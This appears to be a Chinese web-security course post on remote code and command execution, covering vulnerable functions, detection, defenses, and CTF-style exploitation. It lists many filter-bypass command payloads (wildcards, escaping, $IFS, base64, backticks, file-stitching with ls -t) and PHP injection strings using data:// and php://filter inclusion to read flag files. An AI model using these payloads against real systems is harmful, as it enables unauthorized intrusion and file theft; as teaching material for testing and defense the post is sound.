【第58课】WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

#知识点:
1、RCE-原理-代码执行&命令执行
2、RCE-黑白盒-过滤绕过&不回显方案

简介

RCE代码执行:引用脚本代码解析执行

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

RCE命令执行:脚本调用操作系统命令

在这里插入图片描述
在这里插入图片描述
命令执行也是能转换为代码执行的,只不过比较麻烦。

漏洞函数:

1.PHP:
PHP代码执行函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

PHP命令执行函数:

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

2.Python:

eval exec subprocess os.system commands 

3.Java:

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

代码执行:

脚本——java,php,python
产生——Web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具(awvs、xray等)、公开漏洞、手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品

命令执行:

系统——Linux、Windows
产生——web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具(awvs、xray等),公开漏洞,手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品

一、演示案例—RCE-利用&绕过&异或&回显

1、关键字过滤(flag)

1、通配符
flag=fl*
cat fl*
cat ?la*
  • 1
  • 2
  • 3

在这里插入图片描述
在这里插入图片描述

2、转义符号
ca\t /fl\ag
cat fl''ag
  • 1
  • 2
3、使用空变量∗ 和 *和∗和@,x , x,x,{x}绕过

解释

ca$*t fl$*ag

ca$@t fl$@ag

ca$5t f$5lag

ca${2}t f${2}lag

4、拼接法

a=fl;b=ag;cat$IFS$a$b

在这里插入图片描述

5、反引号绕过:
cat `ls`   //在php中这个`反引号代表执行命令的意思

在这里插入图片描述

6、编码绕过:
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`

在这里插入图片描述

7、组合绝活

解释

touch "ag"

touch "fl\\"

touch "t \\"

touch "ca\\"

ls -t >shell -t是指以时间来展示文件

sh shell

# \指的是换行

# ls -t是将文本按时间排序输出

# ls -t >shell 将输出输入到shell文件中

# sh将文本中的文字读取出来执行

在这里插入图片描述
在这里插入图片描述

8、异或无符号(过滤0-9a-zA-Z)

在这里插入图片描述
在这里插入图片描述
异或(算法):
1.rce-xor.php //打包好的脚本
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2.rce-xor.py //打包好的脚本
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
或(算法):
rce-xor-or.php//打包好的脚本
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
rce-xor-or.py //打包好的脚本
在这里插入图片描述
在这里插入图片描述

2、过滤执行命令(如cat tac等)

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

sh /flag 2>%261 //报错出文件内容

curl file:///root/f/flag

strings flag

uniq -c flag

bash -v flag

rev flag

3、过滤执行空格

%09(url传递)(cat%09flag.php)

cat${IFS}flag

a=fl;b=ag;cat$IFS$a$b

{cat,flag}

4、无回显利用

在这里插入图片描述
在这里插入图片描述

1、直接写个文件访问查看

在这里插入图片描述
在这里插入图片描述

2、直接进行对外访问dnslog

在这里插入图片描述
在这里插入图片描述

二、演示案例—白盒-CTF-RCE代码命令执行

29-通配符

在这里插入图片描述

?c=system('tac fla*.php');
  • 1

在这里插入图片描述

30-取代函数&通配符&管道符

在这里插入图片描述

?c=echo shell_exec('tac fla*');

在这里插入图片描述
在这里插入图片描述

31-参数逃逸

在这里插入图片描述

?c=eval($_GET[1]);&1=system('tac flag.php');  //为什么这样写,因为代码只检测参数c

在这里插入图片描述

32~36-配合包含&伪协议

在这里插入图片描述

?c=include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>

在这里插入图片描述

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

37~39-包含RCE&伪协议&通配符

data://text/plain,<?php system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>

三、演示案例—黑盒-运行-RCE代码命令执行

比较有难度,要思考哪些功能点会执行代码或者命令,但是这种不太常见,也可以直接利用工具帮忙探测(awvs、xray等)

例如:
代码在线运行平台测试
在这里插入图片描述
反弹shell
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值